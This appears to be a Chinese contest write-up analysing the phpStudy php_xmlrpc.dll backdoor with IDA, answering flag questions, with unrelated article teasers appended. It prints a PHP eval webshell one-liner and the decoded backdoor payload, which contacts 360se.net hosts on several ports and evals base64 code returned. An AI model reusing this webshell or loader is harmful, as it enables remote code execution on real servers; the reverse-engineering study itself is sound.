全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析

本文主要是介绍全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述

1. 找出靶机桌面上文件夹1中的文件RCEBackdoor.zip,使用静态反编译工具IDA对该压缩包中的程序进行分析,根据提示来分析目标文件,将包含恶意代码基址偏移的范围作为Flag值提交(提交形式:0x1000XXXX-0x1000XXXX);

进入桌面后,解压文件,可以看到有以下文件

在这里插入图片描述

通过我朋友雨泽的中间件漏洞文章和这个php的版本,可以猜到这题考的是前几年phpstudy的后门漏洞

雨泽的文章链接:https://blog.csdn.net/liufdfd/article/details/125507247?spm=1001.2014.3001.5501

phpstudy的后门漏洞大部分存在于:

phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

我们打开这个文件目录找到后门文件

然后将文件拖入ida pro 分析

在这里插入图片描述
在这里插入图片描述

我们按shift+f12可以显示出文件内的字符串,在下面可以发现这两个奇怪的字符串

在这里插入图片描述

这个是常用的php小马代码

<?php @eval($_POST['cmd']);?>

可以判断,这个字符串就是后门代码

接下来我们交叉引用,跳转到执行这个代码的段,我们双击这个字符串

在这里插入图片描述

双击这个地方,跳转到执行代码的地方

在这里插入图片描述

在这里插入图片描述

这就是代码执行的地方,我们可以按f5看一下这个段的伪代码

在这里插入图片描述

根据题目,将包含恶意代码基址偏移的范围作为Flag值提交,

我们通过从恶意代码执行的地方往上逆向分析,在这个while循环可以发现

在这里插入图片描述

从最下面的恶意代码执行的伪代码跟着我的思路走

    v10 = &byte_10011B34;v11 = asc_1000C028;v41 = &byte_10011B34;v12 = 0;v13 = asc_1000C028;while ( 1 ){if ( *(_DWORD *)v13 == 39 ){v10[v12] = 92;v41[v12 + 1] = *v11;    //v41获取了v11变量的内存地址v12 += 2;v13 += 8;}else{v10[v12++] = *v11;v13 += 4;}v11 += 4;if ( (int)v11 >= (int)&unk_1000C66C )   //如果v11变量里的值大于1000C66C内存地址里的值break;v10 = v41;   //v10变量=v41变量}spprintf(&v41, 0, "@eval(%s('%s'));", aGzuncompress, v41);     //将@eval(%s('%s'));字符串和aGzuncompress里的值存入V41变量里

我只分析了一下关键地方的代码,其他地方的代码不怎么重要,在分析里可以知道,关键的偏移地址是V11里的值和if对比的1000C66C内存地址里的值

将包含恶意代码基址偏移的范围作为Flag值提交

0x1000C028-0x1000C66C

2. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串拼接的函数名称作为Flag值提交;(提交形式:echo())

这个就简单多了,我们继续在ida里分析

在这里插入图片描述

可以发现,拼接字符串函数名称是

spprintf

3. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于格式化字符串的参数名称作为Flag值提交;(提交形式:%*)

恶意代码如下

@eval(%s('%s'));

由此可知,用于格式化字符串的参数名称是

%s

4. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串传参的参数名称作为Flag值提交;(提交形式:%*)

通过上面的恶意代码和学过c语言的都知道,字符串传参的参数名称是

%s

5. 找出靶机Windows7桌面上文件夹1中的decode.py文件并完善此文件,填写该文件当中空缺的F1、F2、F3、F4四个字符串,将四个字符串拼接后的内容作为Flag值提交

我们打开decode.py文件

在这里插入图片描述

关键的f1,f2,f3,f4代码:

data = zlib.F1(data)
flag = b'F2'
hwrite.write(F3)
hwrite.write(F4)
#Flag=F1.F2.F3.F4

F1是python的zlib模块里的函数

F1:

decompress

F2是程序aGzuncompress变量里的值

在这里插入图片描述

我们双击这个变量进入查看

在这里插入图片描述

F2:

gzuncompress

通过这段代码分析

flag = b'F2'offset = data.find(flag)data = data[offset + 0x10:offset + 0x10 + 0x567*4].replace(b"\x00\x00\x00",b"")decodedata_1 = zlib.F1(data[:0x191])print(hexdump(data[0x191:]))decodedata_2 = zlib.F1(data[0x191:])with open("compres_data1.txt","w") as hwrite:hwrite.write(F3)hwrite.closewith open("compres_data2.txt","w") as hwrite:hwrite.write(F4)hwrite.close

在这里插入图片描述

F3和F4分别为:

str(decodedata_1)和str(decodedata_2)

完整的flag为:

decompress.gzuncompress.str(decodedata_1).str(decodedata_2)

6. 执行decode.py后将生产两个文件,对第二个文件中内容进行分析并解码,将其中出现的端口列表中的所有端口号一招从小到大的顺序依次排列作为Flag值(如:21,22,23,80)提交;

我们填补完程序缺失的代码后执行

从生成的第二个文件里可以发现

@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){$result = "";$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);if( !$handle ){$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);if( !$handle ){return "err";}}fwrite($handle, $sendMsg."\n");while(!feof($handle)){stream_set_timeout($handle, 2);$result .= fread($handle, 1024);$info = stream_get_meta_data($handle);if ($info['timed_out']) {break;}}fclose($handle);return $result;}$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do {$n = false;foreach ($ds as $d){$b = false;foreach ($ps as $p){$result = tcpGet($i,$d.".360se.net",$p);if ($result != "err"){$b =true;break;}}if ($b)break;}$info = explode("<^>",$result);if (count($info)==4){if (strpos($info[3],"/*Onemore*/") !== false){$info[3] = str_replace("/*Onemore*/","",$info[3]);$n=true;}@eval(base64_decode($info[3]));}}while($n);

端口号从小到大的顺序为:

53,80,8080,20123,40125

这篇关于全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/481418

相关文章

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

python: 多模块(.py)中全局变量的导入

文章目录 global关键字可变类型和不可变类型数据的内存地址单模块(单个py文件)的全局变量示例总结 多模块(多个py文件)的全局变量from x import x导入全局变量示例 import x导入全局变量示例 总结 global关键字 global 的作用范围是模块(.py)级别: 当你在一个模块(文件)中使用 global 声明变量时,这个变量只在该模块的全局命名空

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

深入探索协同过滤:从原理到推荐模块案例

文章目录 前言一、协同过滤1. 基于用户的协同过滤(UserCF)2. 基于物品的协同过滤(ItemCF)3. 相似度计算方法 二、相似度计算方法1. 欧氏距离2. 皮尔逊相关系数3. 杰卡德相似系数4. 余弦相似度 三、推荐模块案例1.基于文章的协同过滤推荐功能2.基于用户的协同过滤推荐功能 前言     在信息过载的时代,推荐系统成为连接用户与内容的桥梁。本文聚焦于

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者

MOLE 2.5 分析分子通道和孔隙

软件介绍 生物大分子通道和孔隙在生物学中发挥着重要作用,例如在分子识别和酶底物特异性方面。 我们介绍了一种名为 MOLE 2.5 的高级软件工具,该工具旨在分析分子通道和孔隙。 与其他可用软件工具的基准测试表明,MOLE 2.5 相比更快、更强大、功能更丰富。作为一项新功能,MOLE 2.5 可以估算已识别通道的物理化学性质。 软件下载 https://pan.quark.cn/s/57

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud